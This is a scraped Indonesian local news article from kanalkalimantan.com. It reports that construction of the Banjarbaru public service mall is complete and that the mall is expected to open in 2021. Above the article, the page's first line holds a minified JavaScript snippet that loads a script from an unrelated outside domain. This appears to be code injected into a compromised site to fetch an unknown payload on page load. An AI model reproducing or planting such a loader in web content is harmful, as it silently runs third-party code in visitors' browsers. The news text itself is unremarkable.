(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pembangunan Mal Pelayanan Publik (MPP) Banjarbaru telah dinyatakan rampung. Bangunan megah itu kini tengah dalam persiapan untuk memulai beroperasi sebagai tempat berlangsungnya aktifitas penyelenggaraan pelayanan publik atas barang, jasa serta pelayanan administrasi.
“Alhamdulillah, pembangunan sudah 100 persen selesai. Tinggal penambahan sarana prasarana saja. Contohnya seperti paving block, interior, komputer dan lain sebagainya,” kata Kepala Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (PMPTSP) Banjarbaru, Rahma Khairita.
Pantauan Kanalkalimantan, Rabu (11/11/2020) siang, di MPP Banjarbaru telah dilengkapi fasilitas akses jaringan internet guna menunjang pelayanan nantinya. Selain itu, puluhan kamera CCTV juga telah terpasang hampir di setiap sudut ruangan.
Diungkapkan Rita -akrab disapa-, untuk operasional MPP Banjarbaru sendiri ditargetkan pada 2021 mendatang. Hal ini katanya, sembari menunggu adanya pendampingan dari Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (Kemenpan RB).
“Kita masih menunggu pihak Kemenpan RB untuk melakukan evaluasi proses pembangunan dan operasional di MPP Banjarbaru. Mungkin ada masukan dari mereka, sehingga bisa kita tindak lanjuti. Setelah semua itu selesai, baru dilakukan MoU dengan Kemenpan RB,” terangnya.
Meskipun operasional masih menunggu waktu, namun Dinas PMPTSP telah memfungsingkan MPP Banjarbaru sebagai lokasi kegiatan internal mereka. Salah satunya, sebagai tempat penyelenggaraan rapat.
“Karena di kantor kami tidak ada ruang rapat, jadi MPP sementara ini digunkan khusus untuk rapat kami. Sampai hari ini, sudah 5 kali kita menggelar rapat di MPP,” aku Ritha.
Lokasi MPP sendiri masih berada dalam satu lahan kantor Dinas PMPTSP, tepatnya di kawasan lapangan Murjani Banjarbaru. Gedung MPP memiliki skema bangunan 2 lantai, dengan luas seluas 40 x 32 meter.
Pembangunan bersumber dari APBD Kota Banjarbaru tahun 2020, dengan nilai kontrak Rp 6,5 miliar dan pengerjaannya dimilai sejak Maret lalu.
Perlu diketahui, MPP nantinya menjadi wadah bagi seluruh instansi pelayanan publik yang ada di wilayah Banjarbaru. Baik itu, BPJS, pajak, izin usaha, pembayaran SIM, hingga pembuatan KTP.
Sebenarnya, fungsi MPP sendiri tidak jauh berbeda dengan Gerai Pelayanan Publik Terpadu (GPPT) yang berlokasi di Kecamatan Landasan Ulin. Hanya saja, lokasi fasilitas pelayanan ini dibuat agar masyarakat tak perlu menempuh jarak jauh untuk mengurus segala sesuatu terkait pelayanan publik. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.